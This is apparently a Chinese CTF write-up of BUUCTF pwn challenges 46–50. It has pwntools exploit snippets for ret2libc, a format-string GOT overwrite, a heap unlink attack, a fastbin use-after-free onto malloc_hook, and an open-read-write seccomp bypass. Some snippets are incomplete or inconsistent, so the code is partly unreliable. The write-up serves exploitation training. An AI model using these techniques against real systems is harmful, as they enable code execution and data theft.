BUUCTF PWN 46-50 解题思路与漏洞利用技术详解
2026/8/16 13:40:08 网站建设 项目流程

1. BUUCTF PWN 46-50 解题思路全解析

最近在BUUCTF平台上刷PWN题时,发现46-50这五道题对新手来说是个不错的进阶练习。这几题涵盖了ret2libc、shellcode等经典漏洞利用技术,正好适合用来巩固基础。今天我就把这几题的详细解题过程整理出来,顺便分享一些调试技巧和避坑经验。

2. 解题环境准备

2.1 基础工具配置

工欲善其事必先利其器,做PWN题需要准备好以下工具链:

  • pwntools:Python的漏洞利用框架
  • gdb-peda:增强版GDB调试工具
  • checksec:检查二进制文件保护机制
  • ROPgadget:查找ROP链的工具
  • one_gadget:查找可直接getshell的gadget

建议使用Ubuntu 18.04/20.04系统,安装命令如下:

sudo apt update sudo apt install -y python3 python3-pip git pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit

2.2 题目文件处理

从BUUCTF下载题目后,先用checksec检查保护机制:

checksec --file=pwn46

这会显示NX、Canary、PIE等保护是否开启,直接影响我们的利用方式。这几道题的保护机制都比较典型:

  • NX开启:栈不可执行,需要用ROP或ret2libc
  • Canary关闭:可以直接栈溢出
  • PIE关闭:函数地址固定

3. PWN46解题详解

3.1 题目分析

首先用IDA反编译pwn46,发现是个简单的栈溢出漏洞:

int vuln() { char buf[64]; read(0, buf, 0x100); return 0; }

明显的缓冲区溢出,buf只有64字节但可以读入0x100字节。

3.2 漏洞利用

由于NX开启,我们需要构造ROP链。步骤如下:

  1. 泄露libc地址:通过puts打印GOT表项
  2. 计算system和/bin/sh地址
  3. 二次溢出执行system("/bin/sh")

关键payload构造:

from pwn import * context.log_level = 'debug' p = process('./pwn46') # 第一次溢出泄露地址 payload = b'A'*72 payload += p64(pop_rdi) + p64(puts_got) payload += p64(puts_plt) payload += p64(main_addr) p.send(payload) # 接收泄露的地址并计算偏移 leak = u64(p.recv(6).ljust(8, b'\x00')) libc_base = leak - libc.sym['puts'] system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) # 第二次溢出getshell payload = b'A'*72 payload += p64(ret) # 栈对齐 payload += p64(pop_rdi) + p64(binsh) payload += p64(system) p.send(payload) p.interactive()

3.3 调试技巧

在构造ROP链时,经常会遇到段错误。这时可以用gdb调试:

gdb -q ./pwn46 b *vuln+50 # 在ret指令处下断点 r < <(python3 exploit.py)

观察栈布局和寄存器值,确保ROP链正确执行。

4. PWN47解题过程

4.1 题目特点

这题开启了Partial RELRO和NX,但没有PIE。反编译后发现有个格式化字符串漏洞:

printf(buf); // 用户可控的格式化字符串

4.2 利用思路

格式化字符串漏洞可以:

  1. 泄露栈数据和libc地址
  2. 任意地址写

我们需要通过泄露计算出libc基址,然后覆写GOT表中的printf为system,最后传入"/bin/sh"。

4.3 关键payload

# 泄露libc地址 payload = b'%15$p' p.sendline(payload) leak = int(p.recvline(), 16) libc_base = leak - 0x20830 # 计算要写入的地址 system = libc_base + libc.sym['system'] printf_got = elf.got['printf'] # 分步写入system地址 for i in range(3): payload = fmtstr_payload(6, {printf_got+i: (system>>(8*i))&0xff}) p.sendline(payload) # 触发system("/bin/sh") p.sendline(b'/bin/sh\x00') p.interactive()

4.4 注意事项

  1. 格式化字符串偏移需要通过调试确定
  2. 64位地址需要分多次写入
  3. 注意地址对齐问题

5. PWN48解题记录

5.1 题目分析

这题是个堆利用题目,提供了malloc和free功能,但没有限制大小:

void *ptr = malloc(size); // size可控 read(0, ptr, size); // 堆溢出

5.2 利用方法

典型的堆溢出+unlink攻击:

  1. 构造两个相邻的chunk
  2. 通过溢出修改第二个chunk的size和fd/bk指针
  3. 触发unlink实现任意地址写

5.3 详细步骤

# 构造fake chunk malloc(0x80) # chunk1 malloc(0x80) # chunk2 # 构造payload payload = p64(0) + p64(0x81) # 伪造prev_size和size payload += p64(free_got - 0x18) + p64(free_got - 0x10) # fd和bk payload += b'A'*(0x80-0x20) payload += p64(0x80) + p64(0x90) # 修改下一个chunk的prev_size和size # 触发unlink free(2) # 现在free_got被修改为shellcode地址

5.4 堆利用技巧

  1. 使用gef的heap命令查看堆状态
  2. 注意chunk的size要符合对齐要求
  3. unlink时会检查fd->bk == p && bk->fd == p

6. PWN49解题分析

6.1 题目特点

这题是个菜单题,提供了add、delete、edit等功能,存在UAF漏洞:

free(ptr); // 没有置NULL edit(ptr); // UAF

6.2 利用思路

UAF可以结合fastbin attack:

  1. 释放两个chunk到fastbin
  2. 通过UAF修改fd指针指向伪造的chunk
  3. malloc分配到目标地址

6.3 详细利用

# 创建两个chunk add(0x60, b'AAAA') # chunk0 add(0x60, b'BBBB') # chunk1 # 释放并利用UAF free(0) free(1) edit(1, p64(malloc_hook - 0x23)) # 现在可以分配到malloc_hook附近 add(0x60, b'CCCC') add(0x60, b'\x00'*0x13 + p64(one_gadget))

6.4 注意事项

  1. fastbin的size要匹配
  2. malloc_hook附近的伪造size要合理
  3. one_gadget需要满足特定条件

7. PWN50解题过程

7.1 题目分析

这题是个沙箱逃逸题目,禁用了execve,但允许open/read/write。我们需要用ORW(Open-Read-Write)的方式读取flag。

7.2 利用思路

  1. 构造ROP链调用open打开flag文件
  2. 调用read读取文件内容
  3. 调用write输出到stdout

7.3 关键payload

# ROP链构造 rop = ROP(libc) rop.open(flag_path, 0) rop.read(3, heap_addr, 0x100) rop.write(1, heap_addr, 0x100) # 发送payload payload = b'A'*72 + rop.chain() p.send(payload) print(p.recvall())

7.4 沙箱绕过技巧

  1. 使用seccomp-tools检查沙箱规则
  2. flag路径通常为"./flag"或"/flag"
  3. 文件描述符3通常是第一个打开的文件

8. 常见问题与解决方案

8.1 地址泄露失败

问题:泄露的地址不正确或程序崩溃 解决:

  1. 检查泄露的GOT表项是否正确
  2. 确保接收数据长度足够
  3. 可能需要添加ret指令对齐栈

8.2 ROP链执行失败

问题:执行到中间崩溃 解决:

  1. 用gdb单步调试查看崩溃点
  2. 检查栈对齐情况(特别是ubuntu18以上)
  3. 确保所有gadget地址正确

8.3 one_gadget条件不满足

问题:one_gadget执行后没getshell 解决:

  1. 尝试不同的one_gadget
  2. 通过ROP设置寄存器满足约束条件
  3. 回退到system("/bin/sh")方式

9. 调试与优化技巧

9.1 gdb增强调试

使用pwntools的gdb集成:

p = process('./pwn50') gdb.attach(p, ''' b *vuln+30 c ''')

9.2 自动化脚本编写

建议使用类封装常用操作:

class Exploit: def __init__(self, elf, libc): self.elf = elf self.libc = libc def leak(self, func): payload = ... return u64(p.recv(6).ljust(8, b'\x00'))

9.3 性能优化

  1. 使用cyclic快速定位溢出点
  2. 预计算常用地址减少交互次数
  3. 复用连接避免重复启动程序

10. 进阶学习建议

10.1 推荐学习路线

  1. 先掌握栈溢出基础
  2. 学习ret2libc技术
  3. 理解堆利用原理
  4. 练习沙箱逃逸

10.2 推荐资源

  • 《漏洞利用的艺术》(The Art of Exploitation)
  • LiveOverflow YouTube频道
  • CTF Wiki (ctf-wiki.org)

10.3 练习平台

  • BUUCTF
  • Pwnable.kr
  • Hack The Box
  • Pwnable.tw

这几道题涵盖了PWN中的常见考点,建议每道题都手动调试几次,理解每个步骤的原理。遇到问题时多查资料,PWN的学习曲线比较陡峭,但掌握后会有很大成就感。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询